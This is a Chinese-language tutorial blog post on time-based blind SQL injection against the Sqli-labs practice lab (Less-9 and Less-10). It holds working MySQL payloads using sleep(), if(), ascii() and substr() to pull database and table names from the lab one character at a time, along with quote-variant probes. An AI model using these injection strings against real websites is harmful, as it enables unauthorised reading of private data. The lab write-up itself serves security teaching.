零、前言
想了很长时间,还是决定要考研了,以后可能要很少碰键盘,不过尽量会更一更Blog,把Sqli-labs系列写下去。这节课的内容是基于时间的盲注,上节课我们说的是布尔盲注,思想都是一样的,不过是判断条件发生了变化,由之前的True or False 变成了时间差,具体的我们看下实验细节。
一、Mysql Sql语句测试
我们进入mysql命令行界面
下面我们介绍一个延时函数,sleep(),它接受一个整数n,运行成功后程序将被挂起n秒钟什么也不做。
Select sleep(10);
这句话等待了10秒才显示出来。接下来我们加上if语句,mysql里的if()接受三个参数,
If(expr1,expr2,expr3):如果expr1为True,则返回expr2,否则返回expr3
select if((select database())='security',sleep(10),NULL)
我们看到程序运行了10秒钟,说明第一个参数(select database())='security'是True,然后执行了第二个参数,sleep(10)。我们可以测试一些其他的函数,比如version()
select if((select version())='123',sleep(10),NULL)
可以看到程序运行了0.01秒,说明第一个参数(select version())='123'是Flase,然后返回了第三个参数NULL。同样我们可以测试更加复杂的语句
select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),NULL)
这句话的意思是截取当前数据库的第一个表的表名的第一个字符并判断它是否为’e’,如果是则返回sleep(10),否则返回NULL,我们看到程序运行了10秒钟,说明我们的判断是正确的。这样我们就能借鉴上节课的思路,加上ASCII()函数,采用二分法逐步确定每一个字符,从而可以获取数据的敏感信息。
二、前端注入测试
经过测试我们可以发现,无论加入任何语句,它的返回都是一样的
可以猜测后台php语句设定了某种规则,使错误(任何异常)无法返回到前段界面,这样我们就不能通过报错获取信息甚至基于布尔的盲注也不行。所以我们先猜测其后台语句为:
Select * from table where id = input
如果它成立的话,那我们测试id=1 and sleep(10) -+ 前台页面应该会等待10秒钟才能成功加载,那么我们试一下。
它并没有等待10秒钟,直接返回了结果,这说明我们的语句有错误,我们多测试几个语句
Id=1’ and sleep(10) --+ Id=1’) and sleep(10) --+ Id=1” and sleep(10) --+ Id=1”) and sleep(10) --+
其中Id=1’ and sleep(10) –+的执行结果是我们预期的结果,所以我们修改Sql语句为
Select * from table where id = ‘input’
这样我们就可以构造注入语句 Id=1’ and 攻击代码 –+
我们将后台测试的sql语句拿到前台测试
id=1' and (select if((select database())='security',sleep(10),NULL))--+
我们看到程序加载了10秒钟后正确返回,我们将更复杂的语句拿过来测试,它的意思是判断当前数据库的第一个表的表名第一个字符的ASCII码等于111
id=1' and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=111,sleep(10),NULL))--+
程序直接返回,没有等待,说明判断不正确
id=1' and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),NULL))--+
等待10秒钟返回正常页面,说明判断正确,当前数据的第一个表为email,第一个字符为e,其ASCII码为101.
同理,我们可以根据我们想要获取的信息去构造我们的语句。
三、Less-10注入
Less-10
测试方法与上节课一样,除了在id参数引号不同外,其他的基本一致,测试的时候只需将上节课的测试语句中的id的单引号改为双引号即可,例如:
id=1" and (select if((select database())='security',sleep(10),NULL))--+
id=1" and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),NULL))--+
都返回了我们预期的结果。
博主加油,感谢博主分享这么详尽的教程:)
多谢,相互学习